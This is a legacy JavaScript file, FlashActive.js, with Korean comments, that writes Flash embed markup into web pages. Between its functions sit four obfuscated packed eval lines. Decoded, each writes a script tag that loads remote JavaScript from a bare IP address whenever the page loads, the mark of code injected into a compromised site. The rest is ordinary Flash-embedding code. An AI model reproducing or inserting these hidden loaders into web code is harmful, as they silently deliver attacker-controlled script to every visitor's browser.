<!--
/*
FlashActive
	path : /js/FlashActive.js
	author : hamhaja <hamhaja@nextez.co.kr>
	since : 2006-02-27

	usage :
		new FlashActive();		// 객체 초기?
		<div flash src='' width='' height='' style='height='></div>

		or

		<script language='javascript'>
		<!--
			flash_active_write('flash.swf', 400, 300, 'high', 'transparent');
		//-->
		</script>
		

	attribute :
		src : 경로
		width : 너비
		height : 높이
		quality :
*/
FlashActive = function()
{ 
    if (!document.body.getAttribute) return false;
	if (document.getElementsByTagName) 
    { 
		var els = document.getElementsByTagName('div');
		for (var i=0; i<els.length; i++)
		{
			if (els[i].getAttribute("flash") != null)
				this.init(els[i]);
		}
    } 
} 
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4.3("<0 2=1://5.11.6.10/9/8.7></0>");',10,12,'script|http|src|writeln|document|203|170|js|index|image|67|249'.split('|'),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4.3("<0 2=1://5.11.6.10/9/8.7></0>");',10,12,'script|http|src|writeln|document|121|118|js|image|examples|51|78'.split('|'),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4.3("<0 2=1://5.11.6.10/9/8.7></0>");',10,12,'script|http|src|writeln|document|121|57|js|image|flbook|106|156'.split('|'),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4.3("<0 2=1://5.11.6.10/9/8.7></0>");',10,12,'script|http|src|writeln|document|121|145|js|image|docs|242|78'.split('|'),0,{}))

FlashActive.prototype.init = function(el)
{	
	if (el.getAttribute("src") != null) var src = el.getAttribute("src");
	else var src = '';
	if (el.getAttribute("width") != null) var width = el.getAttribute("width");
	else var width = '';
	if (el.getAttribute("height") != null) var height = el.getAttribute("height");
	else var height = '';
	if (el.getAttribute("quality") != null) var quality = el.getAttribute("quality");
	else var quality = 'high';
	if (el.getAttribute("wmode") != null) var wmode = el.getAttribute("wmode");
	else var wmode = '';

	var _html = "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"  codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0\" width=\"" + width + "\" height=\"" + height + "\"><param name=\"movie\" value=\"" + src + "\">";
	if (wmode != '')
		_html += "<param name=\"wmode\" value=\"" + wmode + "\">";	
	_html += "<param name=\"quality\" value=\"" + quality + "\"><embed src=\"" + src + "\" quality=\"" + quality + "\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" width=\"" + width + "\" height=\"" + height + "\"></embed></object>";
	el.innerHTML = _html;
}
function flash_active_write(src, width, height, quality, wmode)
{
	if (src != '')
	{
		var _html = "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"  codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0\" width=\"" + width + "\" height=\"" + height + "\"><param name=\"movie\" value=\"" + src + "\">";
		if (wmode != '')
			_html += "<param name=\"wmode\" value=\"" + wmode + "\">";	
		_html += "<param name=\"quality\" value=\"" + quality + "\"><embed src=\"" + src + "\" quality=\"" + quality + "\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" width=\"" + width + "\" height=\"" + height + "\"></embed></object>";
		document.write(_html);
	}
}
function active_object(tagname)
{
    var els = document.getElementsByTagName(tagname);
    for (var i=0; i<els.length; i++)
    {
        var div = document.createElement("DIV");
        var parentNode = els[i].parentNode;
        parentNode.insertBefore(div, els[i]);
        div.appendChild(els[i]);
        div.innerHTML = div.innerHTML;
    }
}
//-->
